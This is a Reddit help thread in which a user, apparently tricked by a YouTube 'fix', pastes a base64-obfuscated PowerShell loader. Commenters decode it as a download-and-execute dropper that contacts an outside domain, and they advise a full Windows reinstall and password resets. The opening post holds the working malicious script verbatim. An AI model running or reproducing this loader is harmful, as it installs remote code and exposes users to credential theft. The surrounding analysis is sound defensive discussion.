r/PowerShell • • May 24 '24

*I NEED HELP* Did I run a harmful script via powershell?

Can anyone help me because I think I messed up big time, i had an update error on windows and I was looking on youtube to fix it and I clicked a video with a tutorial just copy paste this into power shell and click enter and your error will dissapear and as soon as i did it I felt like I made a mistake.Can anyone help me identify this or maybe even help me get rid of this possibly virus or something else i will copy code now : ipconfig /flushdns

$BRW = "U2V0LUNsaXBib2FyZCAtVmFsdWUgIiAiOw==";

$FIX = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($BRW));

Invoke-Expression $FIX;

$CRT = "ZnVuY3Rpb24gSW52b2tlLU9iZnVzY2F0ZWRQb3N0UmVxdWVzdCB7ICR1PUAoJ2h0dHBzJywnOi8vZ2h1ZmFsLmFuc3dlcm1lZGlhLnNpdGUnLCcvS0IvcG8nLCdzdC5waHAnKTskaD1AeygnVXNlcicrJy1BZ2VudCcpPSdNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvMjMuMC4wLjAgU2FmYXJpLzUzNy4zNid9OyRiPUB7c291cmNlX2lkPSdZT1VUVUJFJ307JGo9JGJ8Q29udmVydFRvLUpzb247dHJ5e0ludm9rZS1SZXN0TWV0aG9kIC1VcmkgKFtTdHJpbmddOjpKb2luKCcnLCR1KSkgLU1ldGhvZCBQb3N0IC1Cb2R5ICRqIC1Db250ZW50VHlwZSAnYXBwbGljYXRpb24vanNvbicgLUhlYWRlcnMgJGh9Y2F0Y2h7fSB9IGZ1bmN0aW9uIEludm9rZS1PYmZ1c2NhdGVkQ29kZSB7ICR1PUAoJ2h0dHBzJywnOi8vZ2h1ZmFsLmFuc3dlcm1lZGlhLnNpdGUnLCcvS0IvQ08nLCdERCcpOyR1cmw9W1N0cmluZ106OkpvaW4oJycsJHUpOyRqM0wyPUB7KCdVc2VyJysnLUFnZW50Jyk9J01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8yMy4wLjAuMCBTYWZhcmkvNTM3LjM2J307JHQ5Vjg9SW52b2tlLVdlYlJlcXVlc3QgLVVyaSAkdXJsIC1Vc2VCYXNpY1BhcnNpbmcgLUhlYWRlcnMgJGozTDI7JGs3UDQ9W1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoJHQ5VjguQ29udGVudCk7JGk1TDY9SW52b2tlLUV4cHJlc3Npb24gJGs3UDQ7JG51bGw9JGk1TDY7Q2xlYXItSG9zdCB9IEludm9rZS1PYmZ1c2NhdGVkUG9zdFJlcXVlc3Q7IEludm9rZS1PYmZ1c2NhdGVkQ29kZTsK";

$UI = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($CRT));

Invoke-Expression $UI;

exit;

0 Upvotes

34 comments sorted by

15

u/psscriptnoob May 24 '24

Yup, looks like it. You can paste the big ol' strings into a base64 converter to get a sense of what it's doing. Should probably just wipe the device and reload Windows, reset all passwords, etc.

7

u/Eksor1312 May 24 '24

damn it im an idiot

5

u/[deleted] May 24 '24

lol always make sure you can reverse engineer what a script is doing at least at a surface level, before running it. Just chalk it up to a learning experience

3

u/lukkas35 May 24 '24

Sometimes, shit happen

13

u/cowboysfan68 May 24 '24

This code makes two web requests, both to ghufal.answermedia.site/KB/***

In the first request, the *** in the URL above is post.php and is a POST request that sends the string YOUTUBE in the body.

In the second request, the *** is CODD downloads some code in the response.Content variable.

Next, an Invoke-Expression is called on that code which executes it on your computer. I am at work and I am not going to attempt to download that code or peek at the responses since I don't trust that site.

It is safe to assume that you did run malicious code.

6

u/Eksor1312 May 24 '24

So I should reinstall windows immediatly?

4

u/cowboysfan68 May 24 '24

Probably, for your peace of mind.

I did reach out to our IT Security team and they said that this site is on their blocked list so there is something nefarious about it.

1

u/Eksor1312 May 24 '24

What is the best method to reinstall windows?

Could i reinstall it with windows recovery option and selecting Reset this pc method?

2

u/[deleted] May 24 '24

Yes. Or download an ISO of your version of Windows and and use Rufus to create a bootable USB drive with it.

4

u/[deleted] May 24 '24

You should wipe the drive first THEN reinstall.

2

u/Eksor1312 May 24 '24

How to do it?

2

u/[deleted] May 24 '24

Just reload Windows. Wiping the drive isn’t necessary.

2

u/Little_Robloxian7 Jun 12 '24

Is there any way to get rid of this sort of malware without resetting windows? I have after effects and 12 plugins and it would take me a while to reinstall so if there are other ways I would appreciate it.

2

u/cowboysfan68 Jun 12 '24

My technical answer is I don't know because I haven't analyzed what the payload actually does once it infects your computer.

My professional answer is no. Due to the unknown nature of the payload, you need to restore your computer to a level of trust that you had before. Since we haven't determined what the malicious code does, the best way to proceed is with a full restore. I know it is inconvenient, but it will be safer in the long run

6

u/Brendan_McCoy May 24 '24

$BRW = "U2V0LUNsaXBib2FyZCAtVmFsdWUgIiAiOw==";

$FIX = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($BRW));

Invoke-Expression $FIX;

This is executing code that sets your clipboard contents to be empty. Not entirely sure the purpose of that.

The next bit defines two functions and executes them. The functions are named, funnily enough

Invoke-ObfuscatedPostRequest
Invoke-ObfuscatedCode

The first POSTs something to a website, probably just to capture your IP? Interestingly it has value "source-Id = 'YOUTUBE' in the body it sends.

The second sends a normal GET to another url of the website, builds an expression from the response, and then executes it. Essentially, it downloads whatever the website is giving it and executes it from there, then clears the powershell console's contents.

Testing in a sandbox, the site called both scripts (ghufal dot answermedia dot site) returns a 403 on both the requests, giving a cloudflare response. I haven't checked to see if that response is real or not.

Still consider that box owned, especially if you executed as admin.

2

u/Eksor1312 May 24 '24

So I need to reinstall my windows immediatly, should I do something else before reinstalling it?

2

u/killamjr Jun 10 '24

I suspect this is a malware family known as clearfake, it usually also delivers credential stealers, i would highly recommend you reset passwords stored in your browser or in windows.

https://www.threatdown.com/blog/clearfake-walkthrough-06-03-2024/

1

u/Eksor1312 Jun 10 '24

Interesting it does look like its clearfake, I reinstalled windows and changed all of my passwords.

1

u/Brendan_McCoy May 24 '24

I snipe edited my response shortly after submitting to indicate, yeah, probably. Unplug it, shut it off, use tools obtained on another computer to wipe it and reinstall. If you have files you need to recover, be suspect of any and throw a hefty battery of scans at anything you retrieve. Really, I'd only bother if they're super important.

1

u/Eksor1312 May 24 '24

Can I reinstall it via recovery option on windows and selecting Reset this PC method?

3

u/Brendan_McCoy May 24 '24

I wouldn't trust it, the recovery partition has nothing between it and whatever script you ran if it was able to do so as admin.

2

u/Eksor1312 May 24 '24

With what tools obtained from another pc can i wipe my infected pc and reinstall it cleanly?

1

u/FapNowPayLater May 24 '24

Settings>Update and Security >Reset this PC
Choose not to keep any files or folders.

LEt it go.

plug it in,

have it reach out to the web for the installer.

1

u/Eksor1312 May 24 '24

plug it in? what does that mean? ty for help

1

u/FapNowPayLater May 24 '24

If it's a laptop. Make sure it's plugged in while it resets.

3

u/BlackV May 24 '24

wipe it start again, learn from this

1

u/Eksor1312 May 24 '24

Doing it at the moment as im writing this message.

2

u/BlackV May 24 '24

quality, when you're back make sure you normal every day account has 0 admin rights

create a separate local admin that you do not login with, only use the for UAC prompts when installing things

2

u/Eksor1312 May 24 '24

How can I make sure that my normal every day account has 0 permissions where to set it?

2

u/BlackV May 24 '24

basically dont put your current account in the admins group, only leave it in the users group

create a new account (first) and give it a good password, add the to the local admins group

remove your self from the local admins group, logout (to apply the admin removal) and log back in with your normal account

1

u/theHonkiforium May 24 '24

You can use Base64 Decode and Encode - Online to decode those strings in a browser to see what thy are.

For example:

`$BRW` decodes to `Set-Clipboard -Value " ";` which will clears your clipboard.

`$CRT` appears to be a function that downloads another file, decrypts it and runs it.

So yeah, you ran a nasty..